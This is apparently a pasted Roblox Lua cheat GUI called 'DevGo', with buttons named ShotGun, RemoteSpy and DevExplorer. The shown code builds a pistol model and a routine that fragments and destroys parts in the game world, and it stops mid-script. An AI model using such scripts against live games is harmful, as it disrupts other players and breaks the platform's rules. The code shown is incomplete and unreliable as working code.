GGametypePlayer

DevGo

Oct 31st, 2020
96
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 48.10 KB | None | 0 0
  1. -- DevGo
  2. -- Version:1.0
  3.  
  4. -- Instances:
  5.  
  6. local DevGo = Instance.new("ScreenGui")
  7. local Intro = Instance.new("ImageLabel")
  8. local Text1 = Instance.new("TextLabel")
  9. local Text2 = Instance.new("TextLabel")
  10. local Text2_Roundify_12px = Instance.new("ImageLabel")
  11. local Main = Instance.new("ImageLabel")
  12. local ShotGun = Instance.new("TextButton")
  13. local RemoteSpy = Instance.new("TextButton")
  14. local DevExplorer = Instance.new("TextButton")
  15. local More = Instance.new("TextButton")
  16.  
  17. --Properties:
  18.  
  19. DevGo.Name = "DevGo"
  20. DevGo.Parent = game.Players.LocalPlayer:WaitForChild("PlayerGui")
  21.  
  22. Intro.Name = "Intro"
  23. Intro.Parent = DevGo
  24. Intro.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
  25. Intro.BackgroundTransparency = 1.000
  26. Intro.BorderSizePixel = 0
  27. Intro.Position = UDim2.new(0.247619033, 0, 0.23116219, 0)
  28. Intro.Size = UDim2.new(0, 339, 0, 292)
  29. Intro.Image = "rbxassetid://3570695787"
  30. Intro.ImageColor3 = Color3.fromRGB(97, 97, 97)
  31. Intro.ScaleType = Enum.ScaleType.Slice
  32. Intro.SliceCenter = Rect.new(100, 100, 100, 100)
  33. Intro.SliceScale = 0.120
  34.  
  35. Text1.Name = "Text1"
  36. Text1.Parent = Intro
  37. Text1.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
  38. Text1.BackgroundTransparency = 1.000
  39. Text1.Position = UDim2.new(0.33038348, 0, 0.44520548, 0)
  40. Text1.Size = UDim2.new(0, 53, 0, 50)
  41. Text1.Font = Enum.Font.SourceSansBold
  42. Text1.Text = "Dev"
  43. Text1.TextColor3 = Color3.fromRGB(0, 0, 0)
  44. Text1.TextSize = 35.000
  45.  
  46. Text2.Name = "Text2"
  47. Text2.Parent = Intro
  48. Text2.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
  49. Text2.BackgroundTransparency = 1.000
  50. Text2.BorderSizePixel = 0
  51. Text2.Position = UDim2.new(0.486725658, 0, 0.44520548, 0)
  52. Text2.Size = UDim2.new(0, 61, 0, 50)
  53. Text2.ZIndex = 2
  54. Text2.Font = Enum.Font.SourceSansBold
  55. Text2.Text = "Go"
  56. Text2.TextColor3 = Color3.fromRGB(0, 0, 0)
  57. Text2.TextSize = 35.000
  58.  
  59. Text2_Roundify_12px.Name = "Text2_Roundify_12px"
  60. Text2_Roundify_12px.Parent = Text2
  61. Text2_Roundify_12px.AnchorPoint = Vector2.new(0.5, 0.5)
  62. Text2_Roundify_12px.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
  63. Text2_Roundify_12px.BackgroundTransparency = 1.000
  64. Text2_Roundify_12px.Position = UDim2.new(0.5, 0, 0.5, 0)
  65. Text2_Roundify_12px.Size = UDim2.new(1, 0, 1, 0)
  66. Text2_Roundify_12px.Image = "rbxassetid://3570695787"
  67. Text2_Roundify_12px.ScaleType = Enum.ScaleType.Slice
  68. Text2_Roundify_12px.SliceCenter = Rect.new(100, 100, 100, 100)
  69. Text2_Roundify_12px.SliceScale = 0.120
  70.  
  71. Main.Name = "Main"
  72. Main.Parent = DevGo
  73. Main.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
  74. Main.BackgroundTransparency = 1.000
  75. Main.BorderSizePixel = 0
  76. Main.Position = UDim2.new(0.247619033, 0, 0.23116219, 0)
  77. Main.Size = UDim2.new(0, 339, 0, 292)
  78. Main.Visible = false
  79. Main.Image = "rbxassetid://3570695787"
  80. Main.ImageColor3 = Color3.fromRGB(97, 97, 97)
  81. Main.ScaleType = Enum.ScaleType.Slice
  82. Main.SliceCenter = Rect.new(100, 100, 100, 100)
  83. Main.SliceScale = 0.120
  84.  
  85. ShotGun.Name = "ShotGun"
  86. ShotGun.Parent = Main
  87. ShotGun.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
  88. ShotGun.BackgroundTransparency = 0.500
  89. ShotGun.BorderSizePixel = 0
  90. ShotGun.Position = UDim2.new(0, 0, 0.171232879, 0)
  91. ShotGun.Size = UDim2.new(0, 91, 0, 50)
  92. ShotGun.Font = Enum.Font.SourceSansBold
  93. ShotGun.Text = "ShotGun"
  94. ShotGun.TextColor3 = Color3.fromRGB(0, 0, 0)
  95. ShotGun.TextSize = 22.000
  96.  
  97. RemoteSpy.Name = "RemoteSpy"
  98. RemoteSpy.Parent = Main
  99. RemoteSpy.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
  100. RemoteSpy.BackgroundTransparency = 0.500
  101. RemoteSpy.BorderSizePixel = 0
  102. RemoteSpy.Position = UDim2.new(0.303834796, 0, 0.171232879, 0)
  103. RemoteSpy.Size = UDim2.new(0, 101, 0, 50)
  104. RemoteSpy.Font = Enum.Font.SourceSansBold
  105. RemoteSpy.Text = "RemoteSpy"
  106. RemoteSpy.TextColor3 = Color3.fromRGB(0, 0, 0)
  107. RemoteSpy.TextSize = 22.000
  108.  
  109. DevExplorer.Name = "DevExplorer"
  110. DevExplorer.Parent = Main
  111. DevExplorer.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
  112. DevExplorer.BackgroundTransparency = 0.500
  113. DevExplorer.BorderSizePixel = 0
  114. DevExplorer.Position = UDim2.new(0.637168169, 0, 0.171232879, 0)
  115. DevExplorer.Size = UDim2.new(0, 106, 0, 50)
  116. DevExplorer.Font = Enum.Font.SourceSansBold
  117. DevExplorer.Text = "DevExplorer"
  118. DevExplorer.TextColor3 = Color3.fromRGB(0, 0, 0)
  119. DevExplorer.TextSize = 22.000
  120.  
  121. More.Name = "More"
  122. More.Parent = Main
  123. More.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
  124. More.BackgroundTransparency = 0.500
  125. More.BorderSizePixel = 0
  126. More.Position = UDim2.new(0.368731558, 0, 0.589041114, 0)
  127. More.Size = UDim2.new(0, 91, 0, 50)
  128. More.Font = Enum.Font.SourceSansBold
  129. More.Text = "More!"
  130. More.TextColor3 = Color3.fromRGB(0, 0, 0)
  131. More.TextSize = 22.000
  132.  
  133. --Script:
  134. ShotGun.MouseButton1Click:Connect(function()
  135.     --[[
  136.     Smith and Wesson M&P 45, chambered in .45 ACP ammunition.
  137.     The standard magazine holds 10 rounds, although magazines that could hold 14 rounds were also made but looked incredibly stupid.
  138.     Credit to litozinnamon for the crosshairs and bullethole decals. I used them without permission. Not like I asked him, anyhow.
  139. ]]
  140.  
  141. plr=game:service'Players'.LocalPlayer
  142. ch,char=plr.Character,plr.Character
  143. hum=ch.Humanoid
  144. tor,torso,rootpart,rj=ch.Torso,ch.Torso,ch.HumanoidRootPart,ch.HumanoidRootPart.RootJoint
  145. m,mouse=plr:GetMouse(),plr:GetMouse()
  146. cfn,ang,mr,int=CFrame.new,CFrame.Angles,math.rad,Instance.new
  147. bc=BrickColor.new
  148. head=ch.Head
  149. cam=workspace.CurrentCamera
  150.  
  151. rj.C0=cfn()
  152. rj.C1=cfn()
  153.  
  154. sheathed=false
  155. jammed=false
  156.  
  157.  
  158.  
  159.  
  160.  
  161.  
  162.  
  163.  
  164.  
  165.  
  166.  
  167. local minimumsize = Vector3.new(0.7,0.7,0.7) --Minimumsize for a part to get divided,higher numbers = less detailed and bigger/less bricks
  168. local surface_between_splitted_parts = 'SmoothNoOutlines' --the surface between splitted parts
  169. --local fragmented = workspace:FindFirstChild("Fragmented")
  170. local fragmentable = workspace --all fragmentable objects should be stored in here
  171. local list = {}
  172. local brickcount = 0
  173. --local m = Instance.new("Hint",workspace)
  174. local storage = {}
  175. local fillup = 1000 --it constantly generates new parts until it reaches this number(hacky way to prevent lagspikes if there is a large explosion),change it to 0 if you don´t want it to generate (useless) parts.
  176. local maximumstorage = 2000 --it will recycle parts if the number of parts in the storage doesnt exceed this number
  177. local storage_position = Vector3.new(0,0,5000) --place them somewhere off the map
  178. local stored_partsize = Vector3.new(1,1,1) --make them small
  179. local parts_created_per_frame = 5 --number of parts being created per frame to fill up the storage
  180.  
  181.  
  182. function fragmentate(cframe,size,color,explosion_position,explosion_blastradius,backsurface,bottomsurface,frontsurface,leftsurface,rightsurface,topsurface,transparency,reflectance)
  183.     local xi = size.X >= minimumsize.X*(1+explosion_blastradius/16) and 2 or 1 --to reduce the lagg in large explosions we increase minimumsize based on the explosionradius...
  184.     local yi = size.Y >= minimumsize.Y*(1+explosion_blastradius/16) and 2 or 1
  185.     local zi = size.Z >= minimumsize.Z*(1+explosion_blastradius/16) and 2 or 1
  186.     if xi == 1 and yi == 1 and zi == 1 or (cframe.p-explosion_position).magnitude > size.magnitude/2 + explosion_blastradius then --don´t fragmentate parts, that are too small to fragmentate or too far away from the explosion
  187.         if xi == 1 and yi == 1 and zi == 1 then return end --optional
  188.         if #storage > 0 then
  189.             local p = storage[1]
  190.             p.BrickColor = color
  191.             p.Size = size
  192.             p.BackSurface = backsurface
  193.             p.BottomSurface = bottomsurface
  194.             p.FrontSurface = frontsurface
  195.             p.LeftSurface = leftsurface
  196.             p.RightSurface = rightsurface
  197.             p.TopSurface = topsurface
  198.             p.Transparency = transparency
  199.             p.CFrame = cframe
  200.             p.Reflectance = reflectance
  201.             table.remove(storage,1)
  202.         else
  203.             local p = Instance.new("Part",fragmentable)
  204.             p.BrickColor = color
  205.             p.FormFactor = "Custom"
  206.             p.Size = size
  207.             p.BackSurface = backsurface
  208.             p.BottomSurface = bottomsurface
  209.             p.FrontSurface = frontsurface
  210.             p.LeftSurface = leftsurface
  211.             p.RightSurface = rightsurface
  212.             p.TopSurface = topsurface
  213.             p.Transparency = transparency
  214.             if p.Transparency>0.285 then
  215.                 p.Anchored = false
  216.             else
  217.                 p.Anchored=true
  218.                 p.Material='Wood'
  219.             end
  220.             p.CFrame = cframe
  221.             p.Reflectance = reflectance
  222.         end
  223.         --p:MakeJoints()
  224. --      m.Text = m.Text+1
  225.         return --stop the function
  226.     end
  227.     local mody = math.random(-125,125)/1000 --some randomization
  228.     for y = 1,yi do
  229.         if math.random()> 0.5 then
  230.             local modx = math.random(-125,125)/1000
  231.             for x = 1,xi do
  232.                 local modz = math.random(-125,125)/1000
  233.                 for z = 1,zi do --offset = x/xi-0.75+modx)
  234.                     fragmentate(cframe*CFrame.new(size.X*(xi==1 and 0 or x/xi-0.75+modx),size.Y*(yi==1 and 0 or y/yi-0.75+mody),size.Z*(zi==1 and 0 or z/zi-0.75+modz)), --maths
  235.                     Vector3.new(xi == 2 and size.X*(1-2*math.abs(x/xi-0.75+modx)) or size.X,yi == 2 and size.Y*(1-2*math.abs(y/yi-0.75+mody)) or size.Y,
  236.                     zi == 2 and size.Z*(1-2*math.abs(z/zi-0.75+modz)) or size.Z or agent767_was_here),color,explosion_position,explosion_blastradius,
  237.                     z~=zi and surface_between_splitted_parts or backsurface,y==2 and surface_between_splitted_parts or bottomsurface,
  238.                     z==2 and surface_between_splitted_parts or frontsurface,x==2 and surface_between_splitted_parts or leftsurface,x~=xi and surface_between_splitted_parts or rightsurface,
  239.                     y~=yi and surface_between_splitted_parts or topsurface,transparency,reflectance)
  240.                 end
  241.                
  242.             end
  243.         else
  244.             local modz = math.random(-125,125)/1000
  245.             for z = 1,zi do
  246.                 local modx = math.random(-125,125)/1000
  247.                 for x = 1,xi do
  248.                     fragmentate(cframe*CFrame.new(size.X*(xi==1 and 0 or x/xi-0.75+modx),size.Y*(yi==1 and 0 or y/yi-0.75+mody),size.Z*(zi==1 and 0 or z/zi-0.75+modz)),
  249.                     Vector3.new(xi == 2 and size.X*(1-2*math.abs(x/xi-0.75+modx)) or size.X,yi == 2 and size.Y*(1-2*math.abs(y/yi-0.75+mody)) or size.Y,
  250.                     zi == 2 and size.Z*(1-2*math.abs(z/zi-0.75+modz)) or size.Z),color,explosion_position,explosion_blastradius,
  251.                     z~=zi and surface_between_splitted_parts or backsurface,y==2 and surface_between_splitted_parts or bottomsurface,
  252.                     z==2 and surface_between_splitted_parts or frontsurface,x==2 and surface_between_splitted_parts or leftsurface,x~=xi and surface_between_splitted_parts or rightsurface,
  253.                     y~=yi and surface_between_splitted_parts or topsurface,transparency,reflectance)
  254.                 end
  255.             end
  256.         end
  257.     end            
  258. end
  259.  
  260. function start_fragmentation(position,radius)
  261.     local search = Region3.new(position-Vector3.new(radius,radius,radius)*1.1,position+Vector3.new(radius,radius,radius)*1.1)
  262.     repeat
  263.     local finish = false
  264.     local parts = workspace:FindPartsInRegion3WithIgnoreList(search,list,100) --maximum number of parts that FindPartsInRegion3 can find is 100, so we have to do this to find them all
  265.     for i = 1,#parts do
  266.         table.insert(list,1,parts[i])
  267.     end
  268.     finish = true
  269.     until #parts < 100 and finish
  270.     print(#list)
  271.     local t = tick()
  272.     for i = 1,#list do
  273.         local p = list[i]
  274.         if p:IsDescendantOf(fragmentable) and p:GetMass()<3000 and p.Transparency>0.285 and p.Name~='Base' and p:IsDescendantOf(ch)==false then
  275.             fragmentate(p.CFrame,p.Size,p.BrickColor,position,radius,p.BackSurface,p.BottomSurface,p.FrontSurface,p.LeftSurface,p.RightSurface,p.TopSurface,p.Transparency,p.Reflectance)
  276.             if #storage < maximumstorage and p.Shape == "Block" then --recycle them
  277.                 p.Anchored = false
  278.                 p.FormFactor = "Custom"
  279.                 p.Size = stored_partsize
  280.                 p.Position = storage_position
  281.                 table.insert(storage,1,p)
  282.             else --storage is full
  283.                 p:Destroy()
  284.             end
  285. --          m.Text = m.Text-1
  286.         end
  287.         if p:IsDescendantOf(fragmentable) and p:GetMass()<53000 and p.Transparency<0.05 and p.Name~='Base' and tostring(p.Material)=='Enum.Material.Wood' and p:IsDescendantOf(ch)==false then
  288.             fragmentate(p.CFrame,p.Size,p.BrickColor,position,radius,p.BackSurface,p.BottomSurface,p.FrontSurface,p.LeftSurface,p.RightSurface,p.TopSurface,p.Transparency,p.Reflectance)
  289.             if #storage < maximumstorage and p.Shape == "Block" then --recycle them
  290.                 p.Anchored = true
  291.                 p.Material='Wood'
  292.                 p.FormFactor = "Custom"
  293.                 p.Size = stored_partsize
  294.                 p.Position = storage_position
  295.                 table.insert(storage,1,p)
  296.             else --storage is full
  297.                 p:Destroy()
  298.             end
  299. --          m.Text = m.Text-1
  300.         end
  301.     end
  302.     list = {}
  303. --  print(tick()-t)
  304. end
  305.  
  306. --[[
  307. spawn(function()
  308.     while wait() do --oh noes,a loop! So inefficient!
  309.         if #storage < fillup then
  310.             for i = 1, parts_created_per_frame do --creates parts to fill up the storage
  311.                 local p = Instance.new("Part",fragmentable)
  312.                 p.Anchored = false
  313.                 p.FormFactor = "Custom"
  314.                 p.Size = stored_partsize
  315.                 p.Position = storage_position
  316.                 table.insert(storage,1,p)
  317.             end
  318.         end
  319.     end
  320. end)
  321. ]]
  322.  
  323.  
  324.  
  325.  
  326.  
  327.  
  328.  
  329.  
  330.  
  331.  
  332.  
  333.  
  334.  
  335.  
  336.  
  337.  
  338.  
  339.  
  340.  
  341.  
  342.  
  343.  
  344.  
  345. --local blankn=22416261
  346.  
  347. --172121567
  348.  
  349. crosshairs={
  350.     {38140824};
  351.     {38140833};
  352.     {38140839};
  353.     {38140843};
  354.     {38140852};
  355.     {38140910};
  356.     {38140915};
  357.     {38140923};
  358.     {38140928};
  359.     {38140931};
  360.     {38208259};
  361.     {38208275};
  362.     {38208284};
  363.     {38208303};
  364.     {38208310};
  365.     {38208325};
  366.     {38208330};
  367.     {38208352};
  368.     {38208359};
  369.     {38208377}
  370. }
  371.  
  372. bulletholes={
  373.     172274695;
  374.     172274721
  375. }
  376.  
  377. for _,v in pairs(crosshairs) do
  378.     game:service'ContentProvider':Preload('rbxassetid://' .. tostring(v[1]-1))
  379. end
  380.  
  381. currentIco=2
  382. switchIco=function(num)
  383.     if num<20 then
  384.     else
  385.         num=20
  386.     end
  387.     mouse.Icon='rbxassetid://' .. tostring(crosshairs[num][1]-1)
  388.     currentIco=num
  389. end
  390.  
  391. switchIco(currentIco)
  392.  
  393. heldDown=false
  394.  
  395. spreadint=1
  396. --[[Settings]]--
  397. recoil=false -- Set to true for added realism
  398. magCapacity=20 -- How much a magazine can hold at once
  399. magAmmo=20 -- How much ammo is in the mag
  400. crosshairSpread=5
  401. spread=1
  402. pAmmunition=true -- more damage if true
  403.  
  404.  
  405. jamRate=500 -- How often the gun jams(the more the less) (no less than 1)
  406.  
  407. primaryColor='Really black'
  408. secondaryColor='Really black'
  409.  
  410. slideReflectance=0.01
  411. slideMaterial='Plastic'
  412.  
  413. --[[Attachments]]--
  414.  
  415. silencer=true
  416. highCapMag=false -- High capacity magazine
  417. laser=true
  418. automatic=false
  419. grip=true
  420.  
  421.  
  422. getSound=function(id)
  423.     game:service'ContentProvider':Preload('rbxassetid'..tostring(id))
  424.     local s=int("Sound",ch.Head)
  425.     s.SoundId='rbxassetid://' .. tostring(id)
  426.     s.Volume=1
  427.     return s
  428. end
  429.  
  430. local fireSound=getSound(151997297--[[10209842]])
  431. fireSound.Pitch=1.3
  432. --1.8
  433.  
  434. local releaseSound=getSound(10209813)
  435. releaseSound.Pitch=4
  436.  
  437. local reloadSound=getSound(10209636)
  438. reloadSound.Pitch=3
  439.  
  440. local magazinelockSound=getSound(152206337)
  441. magazinelockSound.Pitch=1.4
  442.  
  443. local slideBackSound=getSound(152206263)
  444. slideBackSound.Pitch=2.5
  445.  
  446. local slideForwardSound=getSound(152206302)
  447. slideForwardSound.Pitch=2.5
  448.  
  449. local emptySound=getSound(2697295)
  450. emptySound.Pitch=5
  451.  
  452. local glassBreakSound=getSound(144884907)
  453.  
  454. local woodImpact=getSound(142082171)
  455.  
  456. local fleshImpact=getSound(144884872)
  457. fleshImpact.Pitch=1.7
  458.  
  459. if ch:findFirstChild("Tec-99") then
  460.     ch['Tec-99']:Destroy()
  461. end
  462.  
  463. local tube=int("Model",ch)
  464. tube.Name='Tec-99'
  465. local hopper=Instance.new('HopperBin',plr.Backpack)
  466. hopper.Name=tube.Name
  467. Weld = function(p0,p1,x,y,z,rx,ry,rz,par)--recommend to use this with my weld. use this function only with arm lockers.
  468.     p0.Position = p1.Position
  469.     local w = Instance.new('Motor',par or p0)
  470.     w.Part0 = p1
  471.     w.Part1 = p0
  472.     w.C0 = CFrame.new(x or 0,y or 0,z or 0)*CFrame.Angles(rx or 0,ry or 0,rz or 0)
  473.     w.MaxVelocity = .1
  474.     return w
  475. end
  476. function clerp(c1,c2,sp)
  477.     local R1,R2,R3 = c1:toEulerAnglesXYZ()
  478.     local R21,R22,R23 = c2:toEulerAnglesXYZ()
  479.     return CFrame.new(
  480.     c1.X + (c2.X-c1.X)*sp,
  481.     c1.Y + (c2.Y-c1.Y)*sp,
  482.     c1.Z + (c2.Z-c1.Z)*sp)*CFrame.Angles(
  483.     R1 + (R21-R1)*sp,
  484.     R2 + (R22-R2)*sp,
  485.     R3 + (R23-R3)*sp
  486.     )
  487. end
  488.  
  489. tweenTable={}
  490. Tween = function(Weld, Stop, Step,a)
  491. ypcall(function()
  492.     local func = function()
  493.         local Start = Weld.C1
  494.         local X1, Y1, Z1 = Start:toEulerAnglesXYZ()
  495.         local Stop = Stop
  496.         local X2, Y2, Z2 = Stop:toEulerAnglesXYZ()
  497.         if not Step then Step=0.1 end
  498.         table.insert(tweenTable,{th=0,Weld=Weld,Step=Step,Start=Start,X1=X1,Y1=Y1,Z1=Z1,Stop=Stop,X2=X2,Y2=Y2,Z2=Z2})
  499.     end
  500.         if a then coroutine.wrap(func)() else func() end
  501. end)
  502. end
  503. weld=function(p0,p1,c0)
  504.     local w=Instance.new("Weld",p0)
  505.     w.Part0=p0
  506.     w.Part1=p1
  507.     w.C0=c0
  508.     return w
  509. end
  510. cp=function(parent,color,size,anchored,cancollide)
  511.     local newp=Instance.new("Part",parent)
  512.     newp.TopSurface='SmoothNoOutlines'
  513.     newp.BottomSurface='SmoothNoOutlines'
  514.     newp.FrontSurface='SmoothNoOutlines'
  515.     newp.BackSurface='SmoothNoOutlines'
  516.     newp.RightSurface='SmoothNoOutlines'
  517.     newp.LeftSurface='SmoothNoOutlines'
  518.     newp.FormFactor="Custom"
  519.     newp.BrickColor=bc(color)
  520.     newp.Size=size
  521.     newp.Anchored=anchored
  522.     newp.CanCollide=cancollide
  523.     newp:BreakJoints()
  524.     return newp
  525. end
  526.  
  527. initializeJoints=function()
  528.     rabr = cp(tube,'White',Vector3.new(1,1,1),false,false) rabr.Transparency = 1 rabr.Name='Locker'
  529.     rabr.Position = torso.Position
  530.     rw = Weld(rabr,torso,1.5,.5,0,0,0,0) rw.Parent = tube rw.Name = 'rw'
  531.     w = Instance.new("Weld",tube)
  532.     w.Part0,w.Part1 = ch['Right Arm'],rabr
  533.     w.C1 = CFrame.new(0,-.5,0)
  534.     labr = cp(tube,'White',Vector3.new(1,1,1),false,false) labr.Transparency = 1 labr.Name='Locker'
  535.     labr.Position = torso.Position
  536.     lw = Weld(labr,torso,-1.5,.5,0,0,0,0) lw.Parent = tube lw.Name = 'lw'
  537.     ww = Instance.new("Weld",tube)
  538.     ww.Part0,ww.Part1 = ch['Left Arm'],labr
  539.     ww.C1 = CFrame.new(0,-.5,0)
  540. end
  541.  
  542. initializeJoints()
  543.  
  544. --[[ leg locks
  545. rabl = cp(tube,'White',Vector3.new(1,1,1),false,false) rabl.Transparency = 1 rabl.Name='Locker'
  546. rabl.Position = torso.Position
  547. rwl = Weld(rabl,torso,0.5,-1.5,0,0,0,0) rwl.Parent = tube rwl.Name = 'rwl'
  548. wl = Instance.new("Weld",tube)
  549. wl.Part0,wl.Part1 = ch['Right Leg'],rabl
  550. wl.C1 = CFrame.new(0,-.5,0)
  551. labl = cp(tube,'White',Vector3.new(1,1,1),false,false) labl.Transparency = 1 labl.Name='Locker'
  552. labl.Position = torso.Position
  553. lwl = Weld(labl,torso,-0.5,-1.5,0,0,0,0) lwl.Parent = tube lwl.Name = 'lwl'
  554. wwl = Instance.new("Weld",tube)
  555. wwl.Part0,wwl.Part1 = ch['Left Leg'],labl
  556. wwl.C1 = CFrame.new(0,-.5,0)
  557. ]]
  558. --weld(ch['HumanoidRootPart'],torso,cfn())
  559.  
  560.  
  561. local counter=Instance.new('ScreenGui',plr.PlayerGui)
  562. local frame=Instance.new('Frame',counter)
  563. frame.Size=UDim2.new(0.25,0,0.3,0)
  564.  
  565. frame.Position=UDim2.new(0.1,0,0.4,0)
  566. frame.BackgroundTransparency=1
  567.  
  568. local ammocounter=Instance.new('TextLabel',frame)
  569. ammocounter.Size=UDim2.new(1,0,0.3,0)
  570. ammocounter.Position=UDim2.new(0,0,0.2,0)
  571. ammocounter.BackgroundTransparency=1
  572. ammocounter.TextColor3=BrickColor.new('White').Color
  573. ammocounter.Font='SourceSansBold'
  574. ammocounter.FontSize='Size18'
  575. ammocounter.Text=''
  576. ammocounter.TextXAlignment='Left'
  577.  
  578.  
  579. local bg = Instance.new("BodyGyro",rootpart)
  580. bg.maxTorque = Vector3.new(math.huge,math.huge,math.huge)
  581. bg.P = 10000
  582. bg.D = 100
  583.  
  584.  
  585. cyl=function(prt)
  586.     local c=int("CylinderMesh",prt)
  587.     return c
  588. end
  589. blo=function(prt)
  590.     local c=int("BlockMesh",prt)
  591.     return c
  592. end
  593.  
  594. if laser then
  595.     aLaser=cp(tube,'Really red',Vector3.new(0.2,0.2,0.2))
  596.     aLaser.Transparency=1
  597.     cyl(aLaser).Scale=Vector3.new(0.25,1,0.25)
  598.     aLaser.Anchored=true
  599. end
  600.  
  601. local handle=cp(tube,primaryColor,Vector3.new(0.2,0.6,0.3))
  602. blo(handle).Scale=Vector3.new(1.15,0.9,1)
  603. local mw=weld(ch['Right Arm'],handle,cfn(-0.4,-1,-0.19)*ang(mr(-101.5),0,0)*cfn()*ang(0,mr(-30),mr(-5)))
  604.  
  605. local framepiece1=cp(tube,primaryColor,Vector3.new(0.2,0.2,0.9))
  606. blo(framepiece1).Scale=Vector3.new(1.15,0.5,1)
  607. weld(handle,framepiece1,cfn(0,0.354,-0.3)*ang(mr(11.5),0,0))
  608.  
  609. local barrel=cp(tube,'Medium stone grey',Vector3.new(0.2,0.2,0.2))
  610. cyl(barrel).Scale=Vector3.new(0.7,1.2,0.7)
  611. weld(framepiece1,barrel,cfn(0,0.15,-0.1)*ang(mr(-90),0,0))
  612.    
  613. local sbarrel=cp(tube,'Really black',Vector3.new(0.2,0.3,0.2))
  614. cyl(sbarrel).Scale=Vector3.new(0.7,1.5,0.7)
  615. weld(barrel,sbarrel,cfn(0,0.35,0))
  616. local hole=cp(tube,'White',Vector3.new(0.2,0.2,0.2))
  617. hole.Transparency=1
  618. weld(sbarrel,hole,cfn(0,0.2,0))
  619. local flash=int('PointLight',hole)
  620. flash.Enabled=false
  621. flash.Range=10
  622. flash.Color=BrickColor.new('Neon orange').Color
  623.  
  624.    
  625. local slide1=cp(tube,secondaryColor,Vector3.new(0.2,0.2,0.4))
  626. slide1.CanCollide=false
  627. blo(slide1).Scale=Vector3.new(0.7,1,1.1)
  628. slideweld1=weld(framepiece1,slide1,cfn(0,0.15,0.23))
  629. slide1.Reflectance=slideReflectance
  630. slide1.Material=slideMaterial
  631.  
  632. local slide2=cp(tube,secondaryColor,Vector3.new(0.2,0.2,0.4))
  633. slide2.CanCollide=false
  634. blo(slide2).Scale=Vector3.new(0.7,1,1.1)
  635. slideweld2=weld(slide1,slide2,cfn(0,0,-0.666))
  636. slide2.Reflectance=slideReflectance
  637. slide2.Material=slideMaterial
  638.    
  639. local slideside1=cp(tube,secondaryColor,Vector3.new(0.2,0.2,1.1))
  640. slideside1.CanCollide=true
  641. blo(slideside1).Scale=Vector3.new(0.25,1,1)
  642. weld(slide1,slideside1,cfn(-0.09,0,-0.335))
  643. slideside1.Reflectance=slideReflectance
  644. slideside1.Material=slideMaterial
  645.  
  646. local slideside2=cp(tube,secondaryColor, Vector3.new(0.2,0.2,0.4))
  647. slideside2.CanCollide=true
  648. blo(slideside2).Scale=Vector3.new(0.25,1,1.1)
  649. weld(slide1,slideside2,cfn(0.09,0,0))
  650. slideside2.Reflectance=slideReflectance
  651. slideside2.Material=slideMaterial
  652.  
  653. local slideside3=cp(tube,secondaryColor, Vector3.new(0.2,0.2,0.3))
  654. slideside3.CanCollide=true
  655. blo(slideside3).Scale=Vector3.new(0.25,0.6,0.78)
  656. weld(slideside2,slideside3,cfn(0,-0.04,-0.335))
  657. slideside3.Reflectance=slideReflectance
  658. slideside3.Material=slideMaterial
  659.  
  660. local slideside4=cp(tube,secondaryColor, Vector3.new(0.2,0.2,0.4))
  661. blo(slideside4).Scale=Vector3.new(0.25,1,1.1)
  662. weld(slide2,slideside4,cfn(0.09,0,0))
  663. slideside4.Reflectance=slideReflectance
  664. slideside4.Material=slideMaterial
  665.  
  666. local mgs=cp(tube,primaryColor,Vector3.new(0.2,0.2,0.2))
  667. blo(mgs).Scale=Vector3.new(1.15,0.425,0.245)
  668. weld(handle,mgs,cfn(0,-0.3,0.125))
  669.  
  670. --[[Trigger]]--
  671. local tp1=cp(tube,primaryColor,Vector3.new(0.2,0.2,0.2))
  672. blo(tp1).Scale=Vector3.new(0.6,0.1,0.8)
  673. weld(framepiece1,tp1,cfn(0,-0.22,0.13))
  674.  
  675. local tp2=cp(tube,primaryColor,Vector3.new(0.2,0.2,0.2))
  676. blo(tp2).Scale=Vector3.new(0.6,0.1,1.19)
  677. weld(framepiece1,tp2,cfn(0,-0.14,-0.0265)*ang(mr(45),0,0))
  678.  
  679. local trigger1=cp(tube,'Really black',Vector3.new(0.2,0.2,0.2))
  680. blo(trigger1).Scale=Vector3.new(0.3,0.4,0.16)
  681. weld(framepiece1,trigger1,cfn(0,-0.07,0.09))
  682.    
  683. local trigger2=cp(tube,'Really black',Vector3.new(0.2,0.2,0.2))
  684. blo(trigger2).Scale=Vector3.new(0.3,0.3,0.16)
  685. weld(trigger1,trigger2,cfn(0,-0.06,-0.015)*ang(mr(30),0,0))
  686.    
  687.    
  688. --[[Magazine]]--
  689.  
  690. local magh=cp(tube,'Really black',Vector3.new(0.2,0.5,0.2))
  691. blo(magh).Scale=Vector3.new(0.6,1,1)
  692. local magweld=weld(handle,magh,cfn(0,-0.025,0))
  693.    
  694. local bottom=cp(tube,'Really black',Vector3.new(0.2,0.2,0.3))
  695. blo(bottom).Scale=Vector3.new(1.15,0.385,0.8)
  696. bottomweld=weld(magh,bottom,cfn(0,-0.28,-0.015))
  697.    
  698. if highCapMag then
  699.     magweld:Destroy()    
  700.     magh.Size=Vector3.new(0.2,0.7,0.2)
  701.     magweld=weld(handle,magh,cfn(0,-0.125,0))
  702.     bottomweld:Destroy()
  703.     bottomweld=weld(magh,bottom,cfn(0,-0.38,-0.015))
  704.     magCapacity=magCapacity+23
  705.     magAmmo=magAmmo+23
  706. end
  707.    
  708. --[[Sights]]--
  709. local backsight1=cp(tube,'Black',Vector3.new(0.2,0.2,0.2))
  710. blo(backsight1).Scale=Vector3.new(0.3,0.3,0.3)
  711. weld(slide1,backsight1,cfn(0.06,0.1,0.13))
  712. local backsight2=cp(tube,'Black',Vector3.new(0.2,0.2,0.2))
  713. blo(backsight2).Scale=Vector3.new(0.3,0.3,0.3)
  714. weld(slide1,backsight2,cfn(-0.06,0.1,0.13))
  715.  
  716. local frontsight=cp(tube,'Black',Vector3.new(0.2,0.2,0.2))
  717. blo(frontsight).Scale=Vector3.new(0.3,0.3,0.3)
  718. weld(slide1,frontsight,cfn(0,0.1,-0.85))
  719.    
  720. local dot1=cp(tube,'Lime green',Vector3.new(0.2,0.2,0.2))
  721. cyl(dot1).Scale=Vector3.new(0.1,0.31,0.1)
